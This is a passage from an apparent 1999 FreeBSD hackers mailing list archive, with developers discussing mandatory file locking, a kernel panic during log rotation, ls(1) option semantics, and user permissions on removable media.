be settable on the file, directory and disk levels. Finally in an ultra-paranoid environment you could set an option that requires that the uid matchup is for the actual person, similar to the way an ssh public key/private key pair works. Hope this is useful, Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 1:19:32 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from not.demophon.com (ns.demophon.com [193.65.70.13]) by hub.freebsd.org (Postfix) with ESMTP id 81A3014CF3 for ; Tue, 24 Aug 1999 01:19:29 -0700 (PDT) (envelope-from will@not.demophon.com) Received: (from will@localhost) by not.demophon.com (8.9.3/8.8.7) id LAA57424; Tue, 24 Aug 1999 11:18:43 +0300 (EEST) (envelope-from will) To: chuckr@picnic.mat.net (Chuck Robey) Cc: grog@lemis.com, hackers@freebsd.org Subject: Re: Mandatory locking? References: <86zoziwp88.fsf@not.demophon.com> From: Ville-Pertti Keinonen Date: 24 Aug 1999 11:18:42 +0300 In-Reply-To: chuckr@picnic.mat.net's message of "23 Aug 1999 18:34:34 +0300" Message-ID: <86so59k2vx.fsf@not.demophon.com> Lines: 44 X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG chuckr@picnic.mat.net (Chuck Robey) writes: > On 23 Aug 1999, Ville-Pertti Keinonen wrote: > > And even without otherwise incorrect behavior, if you have a program > > that doesn't use any locking and another one that uses mandatory > > locking to prevent races with the non-locking program, the mere > > existence of the locking program does not prevent multiple non-locking > > programs from generating similar conditions. > > That's very odd, I thought the idea behind mandatory locking was to > completely eliminate the possibility that a program could do what you're > saying; all programs would *mandatorily* be forced to do locking to > access the resource. I don't know what the textbook definition for mandatory locking is, but was assuming (particularly considering the proposal to use a fcntl interface) that by mandatory locking, Greg was referring to a "harder" lock than current advisory locking, one that had to be instantiated explicitly but would not only lock out other attempts to lock, but all other attempts to access the file. The further messages in this the thread seems to indicate that different individuals have different definitions for mandatory locking... I'd still assume that marking a file to be accessible by only one process at a time is *not* what is being discussed. Particularly since it is not even clear what this would mean for forked processes, dup, sending file descriptors over local sockets etc. Note that my arguments earlier don't apply in a case where you might want to e.g. ensure consistency for non-locking programs with read-only access, with the only program with privileges to modify the data making the data inaccessible during updates. This is a scenario where it would, IMHO, actually be quite useful to have mandatory locking. In any case, if shared (open) access is allowed, such a feature can introduce semantic changes to read/write system calls - normally, read/write can never return EAGAIN or block for unlimited amounts of time on regular, local files. EAGAIN is not that much of a problem, as it requires explicitly setting O_NONBLOCK, but blocking can introduce new deadlocks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 1:35:14 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from not.demophon.com (ns.demophon.com [193.65.70.13]) by hub.freebsd.org (Postfix) with ESMTP id C7A3E14CF3 for ; Tue, 24 Aug 1999 01:35:10 -0700 (PDT) (envelope-from will@not.demophon.com) Received: (from will@localhost) by not.demophon.com (8.9.3/8.8.7) id LAA57436; Tue, 24 Aug 1999 11:34:24 +0300 (EEST) (envelope-from will) To: grog@lemis.com (Greg Lehey) Cc: hackers@freebsd.org Subject: Re: Mandatory locking? References: <19990823223645.A14001@netmonger.net> <19990824131036.B83273@freebie.lemis.com> From: Ville-Pertti Keinonen Date: 24 Aug 1999 11:34:24 +0300 In-Reply-To: grog@lemis.com's message of "24 Aug 1999 06:43:30 +0300" Message-ID: <86r9ktk25r.fsf@not.demophon.com> Lines: 27 X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG grog@lemis.com (Greg Lehey) writes: > an agreement of some kind. But what if I want to merge the contents > of another mail folder: > cat oldmail >>/var/mail/grog > That works, but it's playing with fire: if sendmail is delivering a > message at the same time, it won't see me, and my cat doesn't get a > lock beforehand, so both an incoming message and part of my mail > folder could end up getting written to the same location. With > mandatory locking, it would work, transparently. Certainly not with range-locking rather than file-locking. cat is certainly not guaranteed to be atomic, and while you shouldn't end up writing things in the same location, what might happen unless you are preventing multiple openers is: cat writes part of oldmail to /var/mail/grog sendmail locks /var/mail/grog (cat may try to write more to /var/mail/grog but blocks) sendmail delivers new mail sendmail unlocks /var/mail/grog cat writes the rest of oldmail to /var/mail/grog You'll still probably end up with a broken mailbox. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 2: 1: 9 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (Postfix) with ESMTP id 375C114C45 for ; Tue, 24 Aug 1999 02:00:54 -0700 (PDT) (envelope-from gram@cequrux.com) Received: (from nobody@localhost) by citadel.cdsec.com (8.9.3/8.9.3) id KAA07576 for ; Tue, 24 Aug 1999 10:48:01 +0200 (SAST) Received: by citadel.cdsec.com via recvmail id 7516; Tue Aug 24 10:47:23 1999 Message-ID: <37C25C1D.215823F5@cdsec.com> Date: Tue, 24 Aug 1999 10:47:25 +0200 From: Graham Wheeler Organization: Cequrux Technologies X-Mailer: Mozilla 4.08 [en] (X11; I; FreeBSD 2.2.8-RELEASE i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: Regular panics References: <21EF5EE45919D111865200805FA61F8ACD18C3@atio.co.za> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all One of our clients is experiencing regular reboots of their server on Sunday mornings. I think it happens when the weekly script is being run, which gunzips the daily logs, coalesces them into a weekly log, and gzips the result. Herte are the logs from one such reboot: > > Aug 21 23:35:14 saturn syslogd: restart > > Aug 21 23:35:14 saturn /kernel: panic: rlist_free: free start overlaps > > already freed area > > Aug 21 23:35:14 saturn /kernel: > > Aug 21 23:35:15 saturn /kernel: syncing disks... 30 30 30 30 30 30 30 30 > > 30 > > 30 30 30 30 30 30 30 30 30 30 30 giving up > > Aug 21 23:35:15 saturn /kernel: Automatic reboot in 15 seconds - press a > > key > > on the console to abort > > Aug 21 23:35:15 saturn /kernel: Rebooting... The machine is a Compaq Pentium 166 with 64 Mb of RAM, which should be enough for this site (they are by no means the biggest server we support). I first thought hardware may be the problem, but the machine runs fine the rest of the week. The OS is FreeBSD 2.2.7 (upgrading the OS is *not* an option at this stage). I checked the GNATS database, and saw a report of this problem, but there was no follow up. Any help will be appreciated. TIA gram -- Dr Graham Wheeler E-mail: gram@cequrux.com Cequrux Technologies Phone: +27(21)423-6065/6/7 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data/Network Security Specialists WWW: http://www.cequrux.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 2:14: 1 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rwth-aachen.de (mail.RWTH-Aachen.DE [137.226.144.9]) by hub.freebsd.org (Postfix) with ESMTP id 9295215879 for ; Tue, 24 Aug 1999 02:13:58 -0700 (PDT) (envelope-from kuku@gilberto.physik.RWTH-Aachen.DE) Received: from campino.informatik.rwth-aachen.de by mail.rwth-aachen.de (PMDF V5.1-12 #D3869) with ESMTP id <01JF56HHWPXC000ME3@mail.rwth-aachen.de> for hackers@freebsd.org; Tue, 24 Aug 1999 11:12:09 +0200 Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.30.2]) by campino.informatik.rwth-aachen.de (8.9.1a/8.9.1/3) with ESMTP id LAA06158 for ; Tue, 24 Aug 1999 11:11:02 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.9.2/8.6.9) id LAA50205 for hackers@freebsd.org; Tue, 24 Aug 1999 11:11:05 +0200 (CEST) Date: Tue, 24 Aug 1999 11:11:05 +0200 (CEST) From: Christoph Kukulies Subject: OT: registering services To: hackers@freebsd.org Message-id: <199908240911.LAA50205@gil.physik.rwth-aachen.de> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does anyone know what institution I'd have to turn to when I want to register a port # for a certain program (license server). -- Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 2:20: 6 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from metriclient-1.uoregon.edu (metriclient-1.uoregon.edu [128.223.172.1]) by hub.freebsd.org (Postfix) with ESMTP id 5A9E01580C for ; Tue, 24 Aug 1999 02:20:02 -0700 (PDT) (envelope-from gurney_j@efn.org) Received: (from jmg@localhost) by metriclient-1.uoregon.edu (8.9.1/8.8.7) id CAA22768; Tue, 24 Aug 1999 02:18:09 -0700 (PDT) Message-ID: <19990824021809.15055@hydrogen.fircrest.net> Date: Tue, 24 Aug 1999 02:18:09 -0700 From: John-Mark Gurney To: Christoph Kukulies Subject: Re: OT: registering services References: <199908240911.LAA50205@gil.physik.rwth-aachen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <199908240911.LAA50205@gil.physik.rwth-aachen.de>; from Christoph Kukulies on Tue, Aug 24, 1999 at 11:11:05AM +0200 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 3.0-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Christoph Kukulies scribbled this message on Aug 24: > Does anyone know what institution I'd have to turn to when I want > to register a port # for a certain program (license server). go visit www.iana.org... -- John-Mark Gurney Voice: +1 541 684 8449 Cu Networking P.O. Box 5693, 97405 "The soul contains in itself the event that shall presently befall it. The event is only the actualizing of its thought." -- Ralph Waldo Emerson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 2:20: 9 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from metriclient-1.uoregon.edu (metriclient-1.uoregon.edu [128.223.172.1]) by hub.freebsd.org (Postfix) with ESMTP id 0630615862 for ; Tue, 24 Aug 1999 02:20:03 -0700 (PDT) (envelope-from gurney_j@efn.org) Received: (from jmg@localhost) by metriclient-1.uoregon.edu (8.9.1/8.8.7) id CAA22663; Tue, 24 Aug 1999 02:14:31 -0700 (PDT) Message-ID: <19990824021431.55023@hydrogen.fircrest.net> Date: Tue, 24 Aug 1999 02:14:31 -0700 From: John-Mark Gurney To: Ville-Pertti Keinonen Cc: Greg Lehey , hackers@FreeBSD.ORG Subject: Re: Mandatory locking? References: <19990823223645.A14001@netmonger.net> <19990824131036.B83273@freebie.lemis.com> <86r9ktk25r.fsf@not.demophon.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <86r9ktk25r.fsf@not.demophon.com>; from Ville-Pertti Keinonen on Tue, Aug 24, 1999 at 11:34:24AM +0300 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 3.0-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ville-Pertti Keinonen scribbled this message on Aug 24: > > grog@lemis.com (Greg Lehey) writes: > > > an agreement of some kind. But what if I want to merge the contents > > of another mail folder: > > > cat oldmail >>/var/mail/grog > > > That works, but it's playing with fire: if sendmail is delivering a > > message at the same time, it won't see me, and my cat doesn't get a > > lock beforehand, so both an incoming message and part of my mail > > folder could end up getting written to the same location. With > > mandatory locking, it would work, transparently. > > Certainly not with range-locking rather than file-locking. cat is > certainly not guaranteed to be atomic, and while you shouldn't end up > writing things in the same location, what might happen unless you are > preventing multiple openers is: > > cat writes part of oldmail to /var/mail/grog > sendmail locks /var/mail/grog > (cat may try to write more to /var/mail/grog but blocks) > sendmail delivers new mail > sendmail unlocks /var/mail/grog > cat writes the rest of oldmail to /var/mail/grog > > You'll still probably end up with a broken mailbox. what you do is this: lockf -k $mailfile cat ${mailtmp} >> $mailfile then you don't have to worry.. that's what lockf is for... -- John-Mark Gurney Voice: +1 541 684 8449 Cu Networking P.O. Box 5693, 97405 "The soul contains in itself the event that shall presently befall it. The event is only the actualizing of its thought." -- Ralph Waldo Emerson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 2:39:13 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from not.demophon.com (ns.demophon.com [193.65.70.13]) by hub.freebsd.org (Postfix) with ESMTP id 8E726150B2 for ; Tue, 24 Aug 1999 02:39:10 -0700 (PDT) (envelope-from will@not.demophon.com) Received: (from will@localhost) by not.demophon.com (8.9.3/8.8.7) id MAA57813; Tue, 24 Aug 1999 12:38:40 +0300 (EEST) (envelope-from will) To: John-Mark Gurney Cc: hackers@freebsd.org, grog@lemis.com Subject: Re: Mandatory locking? References: <19990823223645.A14001@netmonger.net> <19990824021431.55023@hydrogen.fircrest.net> From: Ville-Pertti Keinonen Date: 24 Aug 1999 12:38:38 +0300 In-Reply-To: gurney_j@efn.org's message of "24 Aug 1999 12:22:48 +0300" Message-ID: <86pv0djz6o.fsf@not.demophon.com> Lines: 19 X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG gurney_j@efn.org (John-Mark Gurney) writes: > Ville-Pertti Keinonen scribbled this message on Aug 24: > > cat writes part of oldmail to /var/mail/grog > > sendmail locks /var/mail/grog > > (cat may try to write more to /var/mail/grog but blocks) > > sendmail delivers new mail > > sendmail unlocks /var/mail/grog > > cat writes the rest of oldmail to /var/mail/grog > > > > You'll still probably end up with a broken mailbox. > > what you do is this: > lockf -k $mailfile cat ${mailtmp} >> $mailfile Which doesn't support Greg's arguments for mandatory locking, as you're now doing locking in both programs. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 2:45:21 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 8E7A4158A9 for ; Tue, 24 Aug 1999 02:44:39 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id TAA24207; Tue, 24 Aug 1999 19:13:36 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id TAA93456; Tue, 24 Aug 1999 19:13:36 +0930 (CST) Date: Tue, 24 Aug 1999 19:13:36 +0930 From: Greg Lehey To: Ville-Pertti Keinonen Cc: John-Mark Gurney , hackers@freebsd.org Subject: Re: Mandatory locking? Message-ID: <19990824191335.O83273@freebie.lemis.com> References: <19990823223645.A14001@netmonger.net> <19990824021431.55023@hydrogen.fircrest.net> <86pv0djz6o.fsf@not.demophon.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <86pv0djz6o.fsf@not.demophon.com>; from Ville-Pertti Keinonen on Tue, Aug 24, 1999 at 12:38:38PM +0300 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tuesday, 24 August 1999 at 12:38:38 +0300, Ville-Pertti Keinonen wrote: > > gurney_j@efn.org (John-Mark Gurney) writes: > >> Ville-Pertti Keinonen scribbled this message on Aug 24: > >>> cat writes part of oldmail to /var/mail/grog >>> sendmail locks /var/mail/grog >>> (cat may try to write more to /var/mail/grog but blocks) >>> sendmail delivers new mail >>> sendmail unlocks /var/mail/grog >>> cat writes the rest of oldmail to /var/mail/grog >>> >>> You'll still probably end up with a broken mailbox. >> >> what you do is this: >> lockf -k $mailfile cat ${mailtmp} >> $mailfile > > Which doesn't support Greg's arguments for mandatory locking, as > you're now doing locking in both programs. Well, it doesn't support the last argument I made, which was untenable. It doesn't affect most of the others. And we're some distance from the dreaded deadlocks. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 2:45:23 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 03AB615944 for ; Tue, 24 Aug 1999 02:44:48 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11JD86-000HsM-00 for freebsd-hackers@FreeBSD.ORG; Tue, 24 Aug 1999 11:44:34 +0200 From: Sheldon Hearn To: freebsd-hackers@FreeBSD.ORG Subject: Re: ls(1) options affecting -l long format In-reply-to: Your message of "Mon, 23 Aug 1999 14:23:21 +0200." <51362.935411001@axl.noc.iafrica.com> Date: Tue, 24 Aug 1999 11:44:34 +0200 Message-ID: <68717.935487874@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999 14:23:21 +0200, Sheldon Hearn wrote: > > The -n option will imply -l, but -o will be a no-op unless at least one > > of -n and -l is specified. Manpage changes will be included in the deal. I've been playing with the ls(1) that this patch produces and now that I've had some time with it, I can honestly say I really don't like it. i've had trouble formulating an objection beyond "it doesn't feel like UNIX" which is why this mail was delayed. Our ls(1) can not, for the moment, be completely compliant with the OpenGroup Single UNIX Specification. We have at least two BSD-specific options that conflict with OpenGroup spec options. We also have a precedent for options which affect but do not imply a long listing (-o). I believe we should stick with that precedent and leave -n as it is. I think that the small gain of partial OpenGroup compliance does not weigh in heavily enough against the loss of internal consistency the patch introduces into ls(1). I also believe that the OpenGroup spec offers sufficient warning against relying on ls(1) on one platform to behave the same way as ls(1) on another: " Because systems that conform to the Single UNIX Specification, Version " 2 may have extensions, the file modes field in output produced by ls -l " may vary among conforming systems. In particular, certain file types " and executable bits may vary. Applications can pass the information in " this field directly to a user printout or prompt; but instead of taking " actions based on the file modes field, a portable application should " generally use the test utility instead. " " The output of ls with the -l and related options (such as mode and " time information) contains information that logically could be used " by utilities such as chmod and touch to restore files to a known " state. However, this information is presented in a format that cannot be " used directly by those utilities, or be easily translated into a format " that can be used. I've seen correspondance from Garrett Wollman elsewhere, which seemed to indicate that he supports this view. I'd appreciate feedback because, at this stage, I don't think I'll be bringing in this change. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 5:21:15 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from antioche.lip6.fr (antioche.lip6.fr [132.227.74.11]) by hub.freebsd.org (Postfix) with ESMTP id 8FDAA150F8 for ; Tue, 24 Aug 1999 05:21:12 -0700 (PDT) (envelope-from bouyer@antioche.lip6.fr) Received: from antifer.ipv6.lip6.fr (antifer.ipv6.lip6.fr [132.227.72.132]) by antioche.lip6.fr (8.9.3/8.9.3) with ESMTP id OAA11607; Tue, 24 Aug 1999 14:21:03 +0200 (MEST) Received: (bouyer@localhost) by antifer.ipv6.lip6.fr (8.8.8/8.6.4) id OAA04015; Tue, 24 Aug 1999 14:21:02 +0200 (MEST) Date: Tue, 24 Aug 1999 14:21:02 +0200 From: Manuel Bouyer To: Wolfgang Solfrank Cc: freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, tech-kern@netbsd.org Subject: Re: Need some advice regarding portable user IDs Message-ID: <19990824142101.B3987@antioche.lip6.fr> References: <199908191217.OAA28628@kurt.tools.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6us In-Reply-To: <199908191217.OAA28628@kurt.tools.de>; from Wolfgang Solfrank on Thu, Aug 19, 1999 at 02:17:49PM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Aug 19, 1999 at 02:17:49PM +0200, Wolfgang Solfrank wrote: > BTW, since non-root users can mount anything, we should make the filesystems' > code more robust, so that one cannot take the machine down by inserting > random media and mounting it. They can't mount anything, they need to have access to the block devices. For "loopback" mounts (null, union, umap, ...), we have to be more carefull about restrictions. Maybe NFS is an issue too ... -- Manuel Bouyer, LIP6, Universite Paris VI. Manuel.Bouyer@lip6.fr -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 5:44:42 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from Twig.Rodents.Montreal.QC.CA (Twig.Rodents.Montreal.QC.CA [132.206.78.3]) by hub.freebsd.org (Postfix) with ESMTP id 84867150FC for ; Tue, 24 Aug 1999 05:44:38 -0700 (PDT) (envelope-from mouse@Twig.Rodents.Montreal.QC.CA) Received: (from mouse@localhost) by Twig.Rodents.Montreal.QC.CA (8.8.8/8.8.8) id IAA00597; Tue, 24 Aug 1999 08:43:14 -0400 (EDT) Date: Tue, 24 Aug 1999 08:43:14 -0400 (EDT) From: der Mouse Message-Id: <199908241243.IAA00597@Twig.Rodents.Montreal.QC.CA> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit To: freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, tech-kern@netbsd.org Subject: Re: Need some advice regarding portable user IDs Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >> BTW, since non-root users can mount anything, we should make the >> filesystems' code more robust, so that one cannot take the machine >> down by inserting random media and mounting it. > They can't mount anything, they need to have access to the block > devices. It is not unreasonable for vanilla users to have read/write access to the block devices for removable media (floppies, zip disks, etc). From what I hear, it's not even particularly uncommon. der Mouse mouse@rodents.montreal.qc.ca 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 5:59:33 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from karl.tools.de (karl.TooLs.DE [192.76.135.65]) by hub.freebsd.org (Postfix) with ESMTP id 3011215157 for ; Tue, 24 Aug 1999 05:59:21 -0700 (PDT) (envelope-from ws@tools.de) Received: from kurt.tools.de (kurt.TooLs.DE [192.76.135.70]) by karl.tools.de (8.8.8/8.8.8) with SMTP id OAA07658; Tue, 24 Aug 1999 14:59:10 +0200 (MET DST) Received: by kurt.tools.de (SMI-8.6/SMI-SVR4) id OAA22272; Tue, 24 Aug 1999 14:59:09 +0200 Date: Tue, 24 Aug 1999 14:59:09 +0200 From: ws@tools.de (Wolfgang Solfrank) Message-Id: <199908241259.OAA22272@kurt.tools.de> To: bouyer@antioche.lip6.fr Subject: Re: Need some advice regarding portable user IDs Cc: freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, tech-kern@netbsd.org X-Sun-Charset: US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, > > BTW, since non-root users can mount anything, we should make the filesystems' > > code more robust, so that one cannot take the machine down by inserting > > random media and mounting it. > > They can't mount anything, they need to have access to the block devices. Of course there are some restrictions. What I meant to say was that code of the various filesystems currently assumes that the data on the media is somewhat consistent. Since the intention is that Joe User can mount some arbitrary floppy (or zip disk, or ...), the in kernel filesystem code needs to check any data it reads off the media for plausibility. Ciao, Wolfgang -- ws@TooLs.DE (Wolfgang Solfrank, TooLs GmbH) +49-228-985800 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 6: 9: 8 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from antioche.lip6.fr (antioche.lip6.fr [132.227.74.11]) by hub.freebsd.org (Postfix) with ESMTP id 475A314E8D for ; Tue, 24 Aug 1999 06:08:53 -0700 (PDT) (envelope-from bouyer@antioche.lip6.fr) Received: from antifer.ipv6.lip6.fr (antifer.ipv6.lip6.fr [132.227.72.132]) by antioche.lip6.fr (8.9.3/8.9.3) with ESMTP id PAA12670; Tue, 24 Aug 1999 15:06:54 +0200 (MEST) Received: (bouyer@localhost) by antifer.ipv6.lip6.fr (8.8.8/8.6.4) id PAA04117; Tue, 24 Aug 1999 15:06:53 +0200 (MEST) Date: Tue, 24 Aug 1999 15:06:52 +0200 From: Manuel Bouyer To: Wolfgang Solfrank Cc: freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, tech-kern@netbsd.org Subject: Re: Need some advice regarding portable user IDs Message-ID: <19990824150652.A4107@antioche.lip6.fr> References: <199908241259.OAA22272@kurt.tools.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6us In-Reply-To: <199908241259.OAA22272@kurt.tools.de>; from Wolfgang Solfrank on Tue, Aug 24, 1999 at 02:59:09PM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Aug 24, 1999 at 02:59:09PM +0200, Wolfgang Solfrank wrote: > [...] > What I meant to say was that code of the various filesystems currently > assumes that the data on the media is somewhat consistent. Since the > intention is that Joe User can mount some arbitrary floppy (or zip disk, > or ...), the in kernel filesystem code needs to check any data it > reads off the media for plausibility. Sure, at last for some filesystems it's possible to crash the machine with a bad FS on a media. But you trust your users don't you ? :) Solving this is not trivial, I don't think changing the panic() to return(appropriate_error_code) is the rigth thing to do, in some case you want to panic if a filesystem gets corrupted. This could probably be switched on/off for root/non-root mounts. Also I think there are some cases where it's too late to recover gracefully. -- Manuel Bouyer, LIP6, Universite Paris VI. Manuel.Bouyer@lip6.fr -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 6:14:54 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from antioche.lip6.fr (antioche.lip6.fr [132.227.74.11]) by hub.freebsd.org (Postfix) with ESMTP id 020E114CA5 for ; Tue, 24 Aug 1999 06:14:52 -0700 (PDT) (envelope-from bouyer@antioche.lip6.fr) Received: from antifer.ipv6.lip6.fr (antifer.ipv6.lip6.fr [132.227.72.132]) by antioche.lip6.fr (8.9.3/8.9.3) with ESMTP id PAA12806; Tue, 24 Aug 1999 15:12:54 +0200 (MEST) Received: (bouyer@localhost) by antifer.ipv6.lip6.fr (8.8.8/8.6.4) id PAA04141; Tue, 24 Aug 1999 15:12:53 +0200 (MEST) Date: Tue, 24 Aug 1999 15:12:53 +0200 From: Manuel Bouyer To: Wilfredo Sanchez Cc: freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, pwd@apple.com, warner.c@apple.com, umeshv@apple.com Subject: Re: Need some advice regarding portable user IDs Message-ID: <19990824151253.A4089@antioche.lip6.fr> References: <199908180217.TAA03970@scv1.apple.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6us In-Reply-To: <199908180217.TAA03970@scv1.apple.com>; from Wilfredo Sanchez on Tue, Aug 17, 1999 at 07:17:45PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Aug 17, 1999 at 07:17:45PM -0700, Wilfredo Sanchez wrote: > [...] > > I think the desired behaviour would be that since this is > effectively now Joe's zip disk, he should be able to do as he > pleases. One proposal might be to give the console user the > equivalent of root's priveledges on any removeable media he inserts > into the machine while he's logged in on the console. This solves > the immediate problem of permissions for Joe, since the file owners > are, on his machine and in this situation, largely irrelevant. > Presumably the console user is the one fiddling with the external > media. > What I would do here is give root privileges to the user who mounted the filesystem, for this filesystem. As in 4.4BSD non-root users can mount media if they have access to the block device, I think this would solve this problem. -- Manuel Bouyer, LIP6, Universite Paris VI. Manuel.Bouyer@lip6.fr -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 6:15:58 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from karl.tools.de (karl.TooLs.DE [192.76.135.65]) by hub.freebsd.org (Postfix) with ESMTP id 5E21E150D6 for ; Tue, 24 Aug 1999 06:15:37 -0700 (PDT) (envelope-from ws@tools.de) Received: from kurt.tools.de (kurt.TooLs.DE [192.76.135.70]) by karl.tools.de (8.8.8/8.8.8) with SMTP id PAA07880; Tue, 24 Aug 1999 15:15:10 